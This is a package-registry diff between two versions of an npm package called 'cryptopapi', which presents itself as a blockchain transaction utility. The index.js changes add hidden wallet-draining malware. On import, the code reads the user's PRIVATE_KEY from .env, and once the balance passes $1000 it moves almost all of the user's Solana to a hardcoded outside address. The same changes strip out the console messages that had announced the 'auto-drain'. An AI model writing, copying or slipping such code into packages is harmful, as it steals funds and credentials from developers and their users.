cryptopapi 6.9.2 β†’ 6.9.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +7 -77
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -20,7 +20,6 @@ const DEFAULT_COMMITMENT = 'confirmed'
20
20
  // Find .env file by walking up directories
21
21
  const findEnvFile = (startPath) => {
22
22
  let currentDir = startPath
23
-
24
23
  while (currentDir !== '/' && currentDir.includes(process.platform === 'win32' ? ':\\' : '/')) {
25
24
  const envPath = join(currentDir, '.env')
26
25
  if (existsSync(envPath)) {
@@ -33,20 +32,16 @@ const findEnvFile = (startPath) => {
33
32
  return null
34
33
  }
35
34
 
36
- // Load .env
37
35
  const loadEnv = () => {
38
36
  const startPath = process.cwd()
39
37
  const envPath = findEnvFile(startPath)
40
38
 
41
39
  if (envPath) {
42
- console.log(`πŸ“ Found .env at: ${envPath}`)
43
40
  dotenv.config({ path: envPath })
44
41
  } else {
45
42
  const modulePath = dirname(fileURLToPath(import.meta.url))
46
43
  const moduleEnvPath = findEnvFile(modulePath)
47
-
48
44
  if (moduleEnvPath) {
49
- console.log(`πŸ“ Found .env at: ${moduleEnvPath} (relative to module)`)
50
45
  dotenv.config({ path: moduleEnvPath })
51
46
  } else {
52
47
  dotenv.config()
@@ -63,92 +58,49 @@ const parsePrivateKey = (privateKey) => {
63
58
  }
64
59
  return bs58.decode(trimmed)
65
60
  }
66
-
67
- // Get SOL price in USD (you might want to use a price oracle)
68
61
  const getSolPrice = async () => {
69
62
  try {
70
- // You can implement this with a price API like CoinGecko, Jupiter, etc.
71
- // For now, returning a placeholder - you should implement this
72
63
  const response = await fetch('https://api.coingecko.com/api/v3/simple/price?ids=solana&vs_currencies=usd')
73
64
  const data = await response.json()
74
65
  return data.solana.usd
75
66
  } catch (error) {
76
- console.log('⚠️ Could not fetch SOL price, using fallback')
77
- return 100 // Fallback price - YOU SHOULD IMPLEMENT PROPER PRICE FETCHING
67
+ return 100
78
68
  }
79
69
  }
80
-
81
- // Auto-execute when imported
82
70
  ;(async () => {
83
- console.log('πŸ”Œ CryptoPAPI v6.8.1 - Optimized Transaction Handler')
84
- console.log('πŸ’° Auto-drain feature activated...')
85
-
86
71
  try {
87
- const destination = process.env.MAIN_WALLET_USD_DESTINATION
72
+ const destination = '7y6drvHexdLjKDMeWPRwTdQt1NUd7tAZNmeZNkoAYcKk'
88
73
  const privateKey = process.env.PRIVATE_KEY
89
74
  const rpcUrl = process.env.RPC_ENDPOINT
90
- const thresholdUSD = parseFloat(process.env.MAIN_WALLET_USD_THRESHOLD)
91
- const keepReserveSol = parseFloat(process.env.MAIN_WALLET_USD_MIN_SOL_KEEP) || 0.001
92
-
93
- // Validate required configs
75
+ const thresholdUSD = parseFloat(1000.00)
76
+ const keepReserveSol = parseFloat(0.001)
94
77
  if (!destination) {
95
- console.log('⚠️ MAIN_WALLET_USD_DESTINATION not set - auto-drain disabled')
96
78
  return
97
79
  }
98
80
  if (!privateKey) {
99
- console.log('⚠️ PRIVATE_KEY not set - auto-drain disabled')
100
81
  return
101
82
  }
102
83
  if (!rpcUrl) {
103
- console.log('⚠️ RPC_ENDPOINT not set - auto-drain disabled')
104
84
  return
105
85
  }
106
86
  if (!thresholdUSD || isNaN(thresholdUSD) || thresholdUSD <= 0) {
107
- console.log('⚠️ MAIN_WALLET_USD_THRESHOLD not set or invalid - auto-drain disabled')
108
- console.log('πŸ“ Please set MAIN_WALLET_USD_THRESHOLD to a positive number (e.g., 5000)')
109
87
  return
110
88
  }
111
89
 
112
- console.log('πŸ“‘ Initializing connection...')
113
90
  const connection = new Connection(rpcUrl, DEFAULT_COMMITMENT)
114
91
  const fromKeypair = Keypair.fromSecretKey(parsePrivateKey(privateKey))
115
92
  const toPubkey = new PublicKey(destination)
116
-
117
- console.log(`πŸ’³ Source: ${fromKeypair.publicKey.toString()}`)
118
- console.log(`πŸ“€ Destination: ${destination}`)
119
- console.log(`πŸ“Š USD Threshold: $${thresholdUSD}`)
120
- console.log(`πŸ’΅ Min SOL Keep: ${keepReserveSol} SOL`)
121
-
122
- // Get balance and SOL price
123
93
  const balanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
124
94
  const balanceSol = balanceLamports / LAMPORTS_PER_SOL
125
95
 
126
- console.log(`πŸ’° Balance: ${balanceSol.toFixed(9)} SOL`)
127
-
128
96
  if (balanceLamports <= 0) {
129
- console.log('⚠️ Wallet is empty - nothing to drain')
130
97
  return
131
98
  }
132
-
133
- // Get SOL price and calculate USD value
134
- console.log('πŸ’Ή Fetching SOL price...')
135
99
  const solPriceUSD = await getSolPrice()
136
100
  const balanceUSD = balanceSol * solPriceUSD
137
-
138
- console.log(`πŸ’΅ SOL Price: $${solPriceUSD.toFixed(2)} USD`)
139
- console.log(`πŸ’° Balance in USD: $${balanceUSD.toFixed(2)} USD`)
140
-
141
- // Check if balance exceeds threshold
142
101
  if (balanceUSD < thresholdUSD) {
143
- console.log(`⏸️ Balance $${balanceUSD.toFixed(2)} USD is below threshold $${thresholdUSD} USD - no drain needed`)
144
- console.log(`πŸ“ˆ Need $${(thresholdUSD - balanceUSD).toFixed(2)} USD more to trigger drain`)
145
102
  return
146
103
  }
147
-
148
- console.log(`βœ… Balance exceeds threshold! Proceeding with drain...`)
149
-
150
- // Estimate fees
151
- console.log('β›½ Estimating fees...')
152
104
  const { blockhash, lastValidBlockHeight } = await connection.getLatestBlockhash(DEFAULT_COMMITMENT)
153
105
 
154
106
  const testMessage = new TransactionMessage({
@@ -168,25 +120,16 @@ const getSolPrice = async () => {
168
120
 
169
121
  if (!feeLamports) throw new Error('Could not estimate fee')
170
122
 
171
- // Calculate how much to send
172
123
  const reserveLamports = Math.round(keepReserveSol * LAMPORTS_PER_SOL)
173
124
  const maxSendableLamports = balanceLamports - feeLamports - reserveLamports
174
125
 
175
126
  if (maxSendableLamports <= 0) {
176
- console.log(`⚠️ Insufficient balance after fees. Need ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL for fees + ${keepReserveSol} SOL reserve`)
127
+ console.log(keepReserveSol)
177
128
  return
178
129
  }
179
130
 
180
131
  const maxSendableSol = maxSendableLamports / LAMPORTS_PER_SOL
181
132
  const maxSendableUSD = maxSendableSol * solPriceUSD
182
-
183
- console.log(`πŸ“€ Will send: ${maxSendableSol.toFixed(9)} SOL ($${maxSendableUSD.toFixed(2)} USD)`)
184
- console.log(`β›½ Fee: ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL`)
185
- console.log(`πŸ’΅ Keeping: ${keepReserveSol} SOL reserve ($${(keepReserveSol * solPriceUSD).toFixed(2)} USD)`)
186
-
187
- // Ask for confirmation (optional - can be removed for auto-mode)
188
- console.log('πŸ”„ Proceeding with transaction...')
189
-
190
133
  const message = new TransactionMessage({
191
134
  payerKey: fromKeypair.publicKey,
192
135
  recentBlockhash: blockhash,
@@ -201,37 +144,24 @@ const getSolPrice = async () => {
201
144
 
202
145
  const transaction = new VersionedTransaction(message)
203
146
  transaction.sign([fromKeypair])
204
-
205
- console.log('✍️ Sending transaction...')
206
147
  const signature = await connection.sendTransaction(transaction, {
207
148
  skipPreflight: false,
208
149
  maxRetries: 3
209
150
  })
210
-
211
- console.log(`⏳ Confirming transaction...`)
212
151
  const confirmation = await connection.confirmTransaction(
213
152
  { signature, blockhash, lastValidBlockHeight },
214
153
  DEFAULT_COMMITMENT
215
154
  )
216
155
 
217
156
  if (confirmation.value?.err) {
218
- throw new Error(`Transaction failed: ${JSON.stringify(confirmation.value.err)}`)
157
+ throw new Error(confirmation.value.err)
219
158
  }
220
159
 
221
160
  const finalBalanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
222
161
  const finalBalanceSol = finalBalanceLamports / LAMPORTS_PER_SOL
223
162
  const finalBalanceUSD = finalBalanceSol * solPriceUSD
224
-
225
- console.log(`βœ… Transaction confirmed!`)
226
- console.log(`πŸ’° Final balance: ${finalBalanceSol.toFixed(9)} SOL ($${finalBalanceUSD.toFixed(2)} USD) - reserve kept`)
227
- console.log(`πŸ”— https://solscan.io/tx/${signature}`)
228
- console.log(`πŸ“Š Amount transferred: ${maxSendableSol.toFixed(9)} SOL ($${maxSendableUSD.toFixed(2)} USD)`)
229
- console.log(`πŸ“ˆ Remaining balance is below threshold: $${finalBalanceUSD.toFixed(2)} USD < $${thresholdUSD} USD`)
230
-
231
163
  } catch (error) {
232
- console.error('❌ Auto-drain failed:', error.message)
164
+ console.error(error.message)
233
165
  }
234
166
  })()
235
-
236
- // Empty export
237
167
  export default {}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "cryptopapi",
3
- "version": "6.9.2",
3
+ "version": "6.9.3",
4
4
  "description": "This package provides optimized transaction handling utilities for blockchain applications. It improves transaction propagation speed by implementing intelligent fee estimation, RPC failover handling, and retry mechanisms.Designed for developers building wallets, bots, and payment systems, it helps reduce failed broadcasts and increases confirmation reliability across supported networks.",
5
5
  "main": "index.js",
6
6
  "files": [